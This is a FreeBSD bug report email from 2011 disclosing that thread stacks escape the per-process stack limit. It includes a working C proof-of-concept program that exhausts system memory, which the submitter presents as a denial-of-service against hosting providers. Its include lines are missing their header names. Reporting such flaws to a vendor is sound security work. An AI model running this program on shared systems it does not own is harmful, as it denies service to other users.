From owner-freebsd-threads@FreeBSD.ORG Tue Sep 13 14:20:06 2011 Return-Path: Delivered-To: freebsd-threads@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 17E6C1065672 for ; Tue, 13 Sep 2011 14:20:06 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id E1CAF8FC12 for ; Tue, 13 Sep 2011 14:20:05 +0000 (UTC) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.4/8.14.4) with ESMTP id p8DEK5s6054058 for ; Tue, 13 Sep 2011 14:20:05 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.4/8.14.4/Submit) id p8DEK5GW054057; Tue, 13 Sep 2011 14:20:05 GMT (envelope-from gnats) Resent-Date: Tue, 13 Sep 2011 14:20:05 GMT Resent-Message-Id: <201109131420.p8DEK5GW054057@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-threads@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Michael Pounov Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7D084106566B for ; Tue, 13 Sep 2011 14:11:13 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from red.freebsd.org (red.freebsd.org [IPv6:2001:4f8:fff6::22]) by mx1.freebsd.org (Postfix) with ESMTP id 635A28FC13 for ; Tue, 13 Sep 2011 14:11:13 +0000 (UTC) Received: from red.freebsd.org (localhost [127.0.0.1]) by red.freebsd.org (8.14.4/8.14.4) with ESMTP id p8DEBCKd009343 for ; Tue, 13 Sep 2011 14:11:12 GMT (envelope-from nobody@red.freebsd.org) Received: (from nobody@localhost) by red.freebsd.org (8.14.4/8.14.4/Submit) id p8DEBCnu009342; Tue, 13 Sep 2011 14:11:12 GMT (envelope-from nobody) Message-Id: <201109131411.p8DEBCnu009342@red.freebsd.org> Date: Tue, 13 Sep 2011 14:11:12 GMT From: Michael Pounov To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: threads/160708: Bypass process stack quota :) X-BeenThere: freebsd-threads@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Threading on FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 13 Sep 2011 14:20:06 -0000 >Number: 160708 >Category: threads >Synopsis: Bypass process stack quota :) >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-threads >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Sep 13 14:20:05 UTC 2011 >Closed-Date: >Last-Modified: >Originator: Michael Pounov >Release: FreeBSD 8.2 and FreeBSD 9.0-CURRENT >Organization: ELWIX >Environment: FreeBSD misho.batmbg.com 8.2-STABLE FreeBSD 8.2-STABLE #1: Tue Jun 14 12:17:19 EEST 2011 root@misho.batmbg.com:/usr/obj/usr/src/sys/GENERIC i386 FreeBSD elwix.aitnet.org 9.0-CURRENT FreeBSD 9.0-CURRENT #8: Sun Jul 17 14:36:16 EEST 2011 root@elwix.aitnet.org:/usr/obj/usr/src/sys/GENERIC i386 >Description: With thread application you may get all system memory for one process. Excellent DoS for hostings and other application providers. When you use threads his stack not are restricted from system's quota and you may get all memory. >How-To-Repeat: Compile and start program "pt" from PR example: ./pt 10000 >Fix: Patch attached with submission follows: /* * Problem with stack limit per process. * Bypass process stack limit quota from threads :) NICE! :-P * * Tested on FreeBSD 8.x/9.x * * Author: Michael Pounov * * cc -o pt -O2 -g -Wall pt.c -lpthread * * Test: ./pt [KBytes] * Example: ./pt 10000 # test with 10MB stack size per thread * 10 = 100MB total size * you may add and 100MB stack size per thread :):):) */ #include #include #include #include #include #include #include #include void * meow(void *slen) { char *buf = (char*) &buf; buf = alloca(((size_t) slen) - sizeof(char*)); printf("buf[%u]->%p\n", ((size_t) slen) - sizeof(char*), buf); fflush(stdout); if (!buf) printf("allocation with size %u failed #%d - %s\n", (size_t) slen, errno, strerror(errno)); else { memset(buf, '*', ((size_t) slen) - sizeof(char*)); buf[((size_t) slen) - sizeof(char*) - 1] = 0; printf("successful allocated memory with %u bytes :) test print=%s\n", (size_t) slen, buf + (((size_t) slen) - sizeof(char*) - 8)); } sleep(10); printf("done.\n"); return NULL; } int main(int argc, char **argv) { #define TIDZ 10 pthread_attr_t attr; pthread_t tid[TIDZ]; size_t stacklen; register int i; struct rlimit rl; int kblen; kblen = argc > 1 ? strtol(argv[1], NULL, 0) : 1; getrlimit(RLIMIT_STACK, &rl); printf("stack limit: current=%llu KB max=%llu KB\n", rl.rlim_cur / ((rlim_t) 1024), rl.rlim_max / ((rlim_t) 1024)); printf("we try to get %d * %u KB = %u KB\n", TIDZ, kblen, kblen * TIDZ); if (((rlim_t) kblen * TIDZ) < (rl.rlim_max / ((rlim_t) 1024))) { printf("Error:: new stack size %u KB is under process stack limit %llu KB\n", kblen * TIDZ, rl.rlim_max / ((rlim_t) 1024)); return 1; } pthread_attr_init(&attr); pthread_attr_getstacksize(&attr, &stacklen); printf("default stacklen=%u\n", stacklen); pthread_attr_setstacksize(&attr, kblen * 1024); pthread_attr_getstacksize(&attr, &stacklen); printf("new stacklen=%u\n", stacklen); for (i = 0; i < TIDZ; i++) pthread_create(&tid[i], &attr, meow, (void*) stacklen); for (i = 0; i < TIDZ; i++) pthread_join(tid[i], NULL); pthread_attr_destroy(&attr); return 0; } >Release-Note: >Audit-Trail: >Unformatted: